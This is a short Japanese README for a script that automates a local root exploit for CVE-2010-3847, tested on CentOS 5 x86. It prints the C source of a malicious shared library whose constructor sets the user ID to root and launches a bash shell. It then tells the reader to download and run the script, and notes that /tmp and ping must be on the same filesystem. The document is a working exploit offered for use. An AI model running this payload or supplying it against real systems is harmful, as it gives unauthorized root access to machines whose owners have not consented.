CVE-2010-3847 スクリプト

このスクリプトは、[http://marc.info/?l=full-disclosure&m=128776663124692&w=2] で議論されているエクスプロイトを自動化するためのものです。CentOS 5 x86 でテスト済み。

出力される DSO は、以下のコードからコンパイルされています。

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}

使い方

ダウンロードして、実行可能な場所に置き、実行してください。

注意点

/tmp と ping が存在する場所は、同じファイルシステム上に配置する必要があります。そうでない場合は、それに応じてパスを調整してください。